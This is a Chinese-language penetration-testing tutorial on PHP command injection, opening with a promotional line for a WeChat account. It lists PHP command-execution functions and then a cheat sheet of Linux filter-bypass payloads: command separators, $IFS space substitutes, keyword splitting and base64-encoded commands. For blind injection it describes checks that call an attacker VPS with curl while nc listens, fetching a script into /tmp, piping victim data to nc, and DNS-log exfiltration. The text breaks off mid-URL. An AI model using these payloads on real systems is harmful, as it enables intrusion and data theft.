更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一
作者:掌控安全-xiao_yi
一、常见命令执行的函数
system()
system(string $command, int &$return_var = ?): string
执行系统命令,有回显
passthru()
passthru(string $command, int &$return_var = ?): void
执行系统命令并且显示原始输出
shell_exec()
shell_exec(string $cmd): string)
通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)
exec()
exec(string $command, array &$output = ?, int &$return_var = ?): string
执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行
反引号
echo `ls`;
只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用
回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用
二、Bypass技巧
(1)针对Linux系统
分隔符
换行符 %0a
回车符 %0d(利用fuzz测试从%00-%ff)
连续指令 ;
后台进程 & # java -jar test.jar & 表示进行放到后台执行,无法被ctrl+c杀死
管道符 | # echo 'ls' | bash
逻辑符 || && # skjkfj||ls 由于前面命令不存在而为假,转而执行后面的ls
空格代替
<
$IFS
${
IFS}
$IFS$(1-9) #从1到9,可以进行fuzz
{
cat,flag.txt}
%09 用于url传递,类似于%09代替空格
过滤特定函数(例如cat)
less, tac, more, less, head, tail, nl, od # 命令代替
ca""t
ca''t
ca``t
ca\t
a=c;b=at;$a$b xxx.php # 变量拼接
c${
u}at # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行
l`$u`s
wh$1oami
who$@ami
whoa$*mi
其他思路
a=l;b=s;$a$b # 变量拼接
`echo d2hvYW1p | base64 -d` # base64编码
substr string pos end # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现
echo ${
PATH:0:1}
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`" => $PWD 代表环境变量
expr${
IFS}substr${
IFS}$SESSION_MANAGER${
IFS}14${
IFS}1
$u # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧
c${
u}at index$u.php$u
c`$u`at index$u.php$u
对于无回显情况
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)
判断思路
延时 ls|sleep(3)
HTTP请求 curl
DNS请求 ping
curl进行检测
有一台可以进行通信的vps
vps 上执行 nc -lvnp 4444
在目标机器上执行curl vps:4444
观察vps的连接情况
若出现返回,则说明这里是存在命令执行的
或者是编写sh脚本
curl ip/1.sh > /tmp/1.sh
1.sh里面写
内容 | nc vps的ip 监听端口
让受害机器将数据发送给你
dnslog进行检测
由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来
推荐如下两个dnslog地址:
http://dnslog.